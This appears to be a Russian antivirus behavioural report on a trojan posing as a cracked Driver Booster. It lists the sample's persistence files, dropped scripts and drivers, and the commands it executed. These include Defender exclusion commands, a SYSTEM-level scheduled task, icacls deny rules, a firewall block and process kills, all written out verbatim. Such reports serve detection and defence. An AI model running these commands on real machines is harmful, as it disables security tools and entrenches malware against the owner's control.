Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
- %APPDATA%\microsoft\windows\start menu\programs\startup\audio system.lnk
- <SYSTEM32>\tasks\repair network services
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "C:\Dumper,%APPDATA%,C:\update,C:\Netframework.4.5.2"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "C:\Dumper,%APPDATA%,%ProgramFiles(x86)%\IObit\Driver Booster\13.0.0,"%ProgramFiles(x86)%\IObit"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Dumper,%ProgramFiles(x86)%\IObit\Driver Booster\13.0.0,"%ProgramFiles(x86)%\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath-C:HackTool:Win32\Crack MTB\Program Files (x86)\IObit\Driver Booster\13.0.0,"%ProgramFiles(x86)%\
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Update tool asc" dir=in action=deny program="%ProgramFiles(x86)%\IObit\Driver Booster\13.0.0\AutoUpdate.exe" enable=yes
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\befb.tmp\befc.tmp\bf0d.bat
- %APPDATA%\update.exe
- %APPDATA%\version.dll
- C:\dumper\system.xml
- C:\dumper\mouse.bat
- C:\dumper\unistall.bat
- C:\dumper\7za.exe
- C:\dumper\gtservices.exe
- C:\dumper\mouse.exe
- C:\dumper\ntrights.exe
- C:\dumper\7za.dll
- C:\dumper\7zxa.dll
- C:\dumper\winio64.sys
- C:\dumper\winring0x64.sys
- C:\dumper\audio system.vbs
- C:\dumper\audio.vbs
- C:\dumper\system.vbs
- C:\dumper\unistall.vbs
- C:\dumper\update.vbs
- C:\dumper\wget.vbs
- C:\dumper\audio system.bat
- C:\dumper\downtrj.bat
- C:\dumper\system.bat
- C:\dumper\downtrj.vbs
- C:\update\downtrj.bat
- C:\update\downtrj.vbs
- C:\update\wget.vbs
- C:\update\7za.exe
- C:\update\7zxa.dll
- C:\update\7za.dll
- C:\update\update.vbs
- C:\netframework.4.5.2\gtservices.exe
- C:\netframework.4.5.2\audio system.bat
- C:\netframework.4.5.2\audio system.vbs
- C:\netframework.4.5.2\winring0x64.sys
- C:\netframework.4.5.2\winio64.sys
- C:\netframework.4.5.2\mouse.bat
Присваивает атрибут 'скрытый' для следующих файлов
- C:\dumper\system.bat
- C:\dumper\system.vbs
Удаляет файлы, которые сам же создал
- %TEMP%\befb.tmp\befc.tmp\bf0d.bat
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- '%APPDATA%\update.exe'
- '%WINDIR%\syswow64\wscript.exe' "C:\Dumper\unistall.vbs"
- '%WINDIR%\syswow64\wscript.exe' "C:\Dumper\audio.vbs"
- 'C:\dumper\ntrights.exe' -u user +r SeLockMemoryPrivilege
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(gc C:\Dumper\system.xml) -replace '22', 'S-1-5-21-4226853953-3309226944-3078887307-1000 ' | Out-File -encoding ASCII C:\Dumper\system.xml"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\BEFB.tmp\BEFC.tmp\BF0D.bat <Полный путь к файлу>" (со скрытым окном)
- '<SYSTEM32>\tskill.exe' IObitDownloader
- '<SYSTEM32>\tskill.exe' PreCare
- '<SYSTEM32>\tskill.exe' Scheduler
- '%WINDIR%\syswow64\cmd.exe' /k unistall.bat (со скрытым окном)
- '<SYSTEM32>\tskill.exe' DriverBooster
- '<SYSTEM32>\tskill.exe' Vulnerabilityfix
- '<SYSTEM32>\msg.exe' * Driver booster activated
- '%WINDIR%\syswow64\powercfg.exe' /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "repair network services" /sc onstart /delay 0000:50 /RL HIGHEST /RU system /tr "C:\update\downtrj.vbs" /NP /f
- '%WINDIR%\syswow64\attrib.exe' +H system.bat
- '%WINDIR%\syswow64\attrib.exe' +H system.vbs
- '%WINDIR%\syswow64\icacls.exe' C:\Dumper\system.bat /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
- '%WINDIR%\syswow64\icacls.exe' C:\Dumper\system.bat /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
- '%WINDIR%\syswow64\cmd.exe' /c wmic path win32_useraccount where name='user' get sid /value | find /i "SID"
- '%WINDIR%\syswow64\wbem\wmic.exe' path win32_useraccount where name='user' get sid /value
- '%WINDIR%\syswow64\find.exe' /i "SID"
